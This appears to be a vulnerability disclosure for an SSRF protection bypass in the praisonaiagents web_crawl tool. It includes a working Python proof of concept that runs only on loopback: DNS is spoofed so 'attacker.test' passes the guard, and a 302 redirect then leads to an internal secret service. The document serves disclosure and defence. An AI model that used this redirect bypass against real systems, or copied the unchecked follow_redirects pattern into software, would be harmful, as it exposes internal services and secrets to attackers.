praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets

with httpx.Client(follow_redirects=True, timeout=30.0) as client:
    response = client.get(url)

#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""

from __future__ import annotations

import http.server
import os
import socket
import socketserver
import threading
from typing import Any

from praisonaiagents.tools.web_crawl_tools import web_crawl


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"INTERNAL-SECRET-FROM-LOOPBACK"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_gethostbyname = socket.gethostbyname
    original_getaddrinfo = socket.getaddrinfo

    def fake_gethostbyname(host: str) -> str:
        if host == "attacker.test":
            return "93.184.216.34"
        return original_gethostbyname(host)

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    socket.gethostbyname = fake_gethostbyname
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = web_crawl(
            f"http://127.0.0.1:{internal_port}/secret",
            provider="httpx",
        )
        redirect_result = web_crawl(
            f"http://attacker.test:{redirect_port}/go",
            provider="httpx",
        )
    finally:
        socket.gethostbyname = original_gethostbyname
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", bool(redirect.hit))  # type: ignore[attr-defined]
    print("INTERNAL_SERVER_HIT:", bool(internal.hit))  # type: ignore[attr-defined]

    if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict):
        raise SystemExit("bypass failed: unexpected result type")
    if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: redirect target content was not returned")
    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]
        raise SystemExit("bypass failed: expected local servers were not hit")

    print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())